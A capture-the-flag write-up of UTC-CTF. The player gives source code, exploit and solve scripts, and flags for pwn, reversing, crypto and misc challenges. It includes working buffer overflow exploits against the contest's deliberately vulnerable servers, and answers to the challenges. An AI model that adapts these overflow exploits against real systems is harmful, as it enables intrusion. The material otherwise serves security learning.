I played UTC-CTF as wr0ngf1ag alone. Luckily, I reached 7th place at the end of that great competition! There were many well-designed challenges and educational challenges. Thanks to all the admins!

- [pwn] Simble bof (baby)
- [pwn] RIP my bof (baby)
- [Misc] ezip (baby)
- [Misc] Optics 1 (baby)
- [Misc] Really Good Bicture
- [Reversing] Strings (baby)
- [Reversing] Corey's core dump 1 (baby)
- [Reversing] Jump! (baby)
- [Reversing] Crackme (baby)
- [Reversing] Login auth
- [Reversing] Stacks
- [Crypto] RSAcue
- [Crypto] Curve it up
- [Crypto] OTP
- [Crypto] Enigma Zwei
- [Crypto] Random Hash
[pwn] Simble bof (baby)
We're given the source code of the server.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> void init_visualize(char* buff); void visualize(char* buff); void safeguard(); void print_flag(); void vuln() { char padding[16]; char buff[32]; int notsecret = 0xffffff00; int secret = 0xdeadbeef; memset(buff, 0, sizeof(buff)); memset(padding, 0xFF, sizeof(padding)); init_visualize(buff); visualize(buff); printf("Input some text: "); gets(buff); visualize(buff); if (secret == 0x67616c66) { puts("You did it! Congratuations!"); print_flag(); return; } else if (notsecret != 0xffffff00) { puts("Uhmm... maybe you overflowed too much. Try deleting a few characters."); } else if (secret != 0xdeadbeef) { puts("Wow you overflowed the secret value! Now try controlling the value of it!"); } else { puts("Maybe you haven't overflowed enough characters? Try again?"); } exit(0); } int main() { safeguard(); vuln(); }
Just do it!
from ptrlib import * sock = Socket("chal.utc-ctf.club", 35235) payload = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + p32(0x67616C66) sock.recvuntil("text: ") sock.sendline(payload) sock.interactive()
utc{buffer_0verflows_4re_c00l!}
[pwn] RIP my bof (baby)
We're given the server binary and source code.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> void init_visualize(char* buff); void visualize(char* buff); void win() { system("/bin/cat /flag.txt"); } void vuln() { char padding[16]; char buff[32]; memset(buff, 0, sizeof(buff)); memset(padding, 0xFF, sizeof(padding)); init_visualize(buff); visualize(buff); printf("Input some text: "); gets(buff); visualize(buff); } int main() { setbuf(stdout, NULL); setbuf(stdin, NULL); vuln(); }
Just do it
from ptrlib import * sock = Socket("chal.utc-ctf.club", 4902) payload = b"a" * 60 + p32(0x8048586) sock.recvuntil("text: ") sock.sendline(payload) sock.interactive()
utc{c0ntr0ling_r1p_1s_n0t_t00_h4rd}
[Misc] ezip (baby)
We're given an encrypted zip and cat.png. The image must have the key. When I check the EXIF info, it had a comment e4syp4ssf0rz1p. This was a password.
[Misc] Optics 1 (baby)
We got a corrupted file challenge1.png. Its signature is altered to LOL so I recovered it into PNG using hexedit. Then the QR code in the image had the flag.
[Misc] Really Good Bicture
We got a simple image. According to the challenge title (RGB), I did the following script.
from PIL import Image img = Image.open("flag.png") w, h = img.size prev = None flag = [] for x in range(w): r, g, b = img.getpixel((x, 0)) if (r, g, b) != prev: flag.extend([r, g, b]) prev = (r, g, b) print("".join(chr(c) for c in flag))
utc{taste_the_rainbow94100389}
[Reversing] Strings (baby)
Just strings to get the flag: utc{that_waz_ezpz}
[Reversing] Corey's core dump 1 (baby)
Also just strings to get the flag: utc{im_a_passw0rd}
[Reversing] Jump! (baby)
We got an ELF binary. It set the global variable selfish to 0 and just exited. But there was an uncalled function gimme_flag in the binary. It checks the selfish is zero and generates the flag. So I used following gdb script to make selfish 0 and jump to gimme_flag.
import gdb gdb.execute("b main") gdb.execute("run") data = gdb.execute("info addr selfish", to_string=True).split() for d in data: if d.startswith("0x"): break gdb.execute("set {{int}}{}=0".format(d)) gdb.execute("jump gimme_flag")
utc{a_l1ttle_h4rd3r_:)}
[Reversing] Crackme (baby)
We got an ELF. It had the three stages which verify the user's input. The first stage is easy to identify the key was 383. The second stage checks the user's input after taking caesar's cipher. Because the rotation key was 5 and the result was JxWJaJW!, the key was EsREvER!. And the last stage used xor cipher to check the input. This one is also easy. I wrote the following script.
s = "L33TC0dE" want = "x\001\022\vw\002E\032x\001\022\vw\002Edm\002\002ub\001E" code = "" for i in range(len(want)): code += chr(ord(want[i]) ^ ord(s[i % len(s)])) print(code)
So the keys were (383, EsREvER!, 42!_42!_42!_42!!!11!!1!). Then the flag was utc{383_EsREvER!_42!_42!_42!_42!!!11!!1!}.
[Reversing] Login auth
We got an ELF. This xored its data section and jump to there. I was decompiled there and found that the code checked the input by xor. So the following script identifies it.
xs = [
0x6E,
0x2,
0x0B,
0x12,
0x23,
0x49,
0x85,
0x0BD,
0x4B,
0x87,
0x0D,
0x0B3,
0x11,
0x0D,
0x25,
0x80,
0x0A6,
0x82,
0x4A,
0x88,
0x61,
0x3E,
0x0C3,
0x0A6,
0x7F,
0x71,
0x3,
0x7E,
0x85,
0x11,
0x0B2,
0x8B,
0x62,
0x33,
0x72,
0x0BC,
0x34,
0x4,
0x54,
0x28,
0x40,
0x3B,
0x19,
0x0A,
0x48,
0x0B,
0x41,
]
ys = [
0x1B,
0x76,
0x68,
0x69,
0x12,
0x27,
0x0F6,
0x8E,
0x39,
0x0F3,
0x52,
0x0D5,
0x7D,
0x4C,
0x42,
0x0DF,
0x0C8,
0x0E3,
0x7,
0x0BB,
0x3E,
0x4C,
0x0F0,
0x0CA,
0x1E,
0x5,
0x66,
0x1A,
0x0DA,
0x65,
0x82,
0x0D4,
0x1,
0x5B,
0x13,
0x0F0,
0x78,
0x41,
0x3A,
0x4F,
0x25,
0x64,
0x71,
0x39,
0x3A,
0x38,
0x3C,
]
a = ""
for i in range(len(xs)):
a += (chr(xs[i] ^ ys[i]))
print(a)
utc{1ns3rt_flAg_naM3_r3lated_t0_chaLLEnge_h3r3}
[Reversing] Stacks
We got an ELF in which the main function was seemed pretty small. However, it used dynamic jump operation like a jmp rcx and cheked the user input using xor. I used the following gdb script to follow the jumps and registers and avoid the ptrace check.
import gdb import re with open("input.txt", "w") as f: f.write("A" * 0x20) alist = [] dlist = [] gdb.execute("b *0x401000", to_string=True) gdb.execute("run < input.txt", to_string=True) gdb.execute("b *0x401128", to_string=True) gdb.execute("continue", to_string=True) gdb.execute("set $rax = 0", to_string=True) gdb.execute("b *0x401024", to_string=True) gdb.execute("b *0x401032", to_string=True) gdb.execute("b *0x401075", to_string=True) while True: gdb.execute("continue", to_string=True) gdb.execute("step", to_string=True) a = gdb.execute("print $ah", to_string=True).strip().split(" = ")[1] alist.append(int(a)) gdb.execute("continue", to_string=True) gdb.execute("step", to_string=True) d = gdb.execute("print $dh", to_string=True).strip().split(" = ")[1] dlist.append(int(d)) gdb.execute("continue", to_string=True) gdb.execute("set $eflags = $eflags | (1 << 6)", to_string=True) print("".join(chr(a ^ d) for a, d in zip(alist, dlist)))
Note: this script runs with pwndbg
utc{stAcks_Ar3_WACK!!!_HEHEXDXD}
[Crypto] RSAcue
We're given the following script and its result.
from Crypto.Util.number import * from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 import gmpy2 from flag import m p = getPrime(1024) while True: p1 = gmpy2.next_prime(p) if p1-p == 2: q = p1 break else: p = p1 n = p*q e = 65537 pub = RSA.construct((long(n), long(e))) f = open('publickey.pem', 'w') f.write(pub.exportKey()) f.close() key = PKCS1_v1_5.new(pub) ct = key.encrypt(m).encode('base64') f1 = open('ciphertext', 'w') f1.write(ct) f1.close()
At first glance, it noticed that p and q are quite near (there may be twin primes). So the Fermat factoring attack is effective.
from Crypto.PublicKey import RSA from Crypto.Util.number import * from crypto_commons.generic import fermat_factors from base64 import b64decode rsa = RSA.importKey(open("publickey.pem").read()) p, q = fermat_factors(rsa.n) e = rsa.e d = inverse(e, (p - 1) * (q - 1)) c = b64decode(open("ciphertext").read().replace("\n", "")) c = bytes_to_long(c) m = pow(c, d, rsa.n) print(long_to_bytes(m))
utc{d0n7_k33p_pr1m35_cl053_by_2}
[Crypto] Curve it up
We got the curve.txt. Here is it.
Elliptic Curve: y^2 = x^3 + A*x + B mod N
N = 58738485967040967283590643918006240808790184776077323544750172596357004242953
A = 76727570604275129576071347306603709762219034167050511215297136720584179974657
B = ???
P = (1499223386326383661524589770996693829399568387777849887556841520506306635197, 18509752623395560148909577815970815579696746171847377654079329916213349431951)
Q = (29269524564002256949792104801311755011410313401000538744897527268133583311507, 29103379885505292913479681472487667587485926778997205945316050421132313574991)
Q = n*P
The flag is utc{n}
The B is unknown but we know P and Q, so it is easy to identify B. And then, it is easy to calculate n. I used sagemath.
sage: x = 1499223386326383661524589770996693829399568387777849887556841520506306 ....: 635197 sage: y = 1850975262339556014890957781597081557969674617184737765407932991621334 ....: 9431951 sage: N = 5873848596704096728359064391800624080879018477607732354475017259635700 ....: 4242953 ....: A = 7672757060427512957607134730660370976221903416705051121529713672058417 ....: 9974657 sage: (x^3 + A*x - y^2) % N 51815615959490465098483241883476658568251085372935164566673646687456909276745 sage: B = -518156159594904650984832418834766585682510853729351645666736466874569 ....: 09276745 % N sage: P = EC(1499223386326383661524589770996693829399568387777849887556841520506 ....: 306635197, 185097526233955601489095778159708155796967461718473776540793299 ....: 16213349431951) sage: Q = EC(2926952456400225694979210480131175501141031340100053874489752726813 ....: 3583311507, 29103379885505292913479681472487667587485926778997205945316050 ....: 421132313574991) sage: P.discrete_log(Q) 314159
utc{314159}
[Crypto] OTP
This is multi time pad. Just do it.
MY FAVORITE SEASON IS TOTALLY THE SUMMER
NO WAY THE BEST SEASON IS TOTALLY SPRING
utc{drag_those_cribs}
[Crypto] Enigma Zwei
It is a reversing challenge rather than the crypto challenge. Just do it!
utc{En1gm4_e1N5_w4s_w4444y_str0nG3r_7h4n_th15}
[Crypto] Random Hash
We're given the following script.
import sys import random for trial in range(20): mask = (1<<64)-1 seed = random.getrandbits(64) base = random.getrandbits(64)|1 def xhash(x): h = seed for b in x: h = ((h+b)*base)&mask return h a = input('string 1> ') b = input('string 2> ') if a == b: sys.exit(0) if xhash(a.encode()) != xhash(b.encode()): sys.exit(0) with open('flag.txt') as f: print(f.read().strip())
The xhash is the implementation of the Rolling Hash. And use 2^64 as the modulo. So I referenced this site and wrote the following script.
from ptrlib import Socket s1 = "011<snip>110" s2 = "100<snip>001" sock = Socket("chal.utc-ctf.club", 5991) for _ in range(20): sock.recvuntil(" 1> ") sock.sendline(s1) sock.recvuntil(" 2> ") sock.sendline(s2) sock.interactive()
utc{1s_p0lly_h4sh_b3tt3r_th4n_SHA}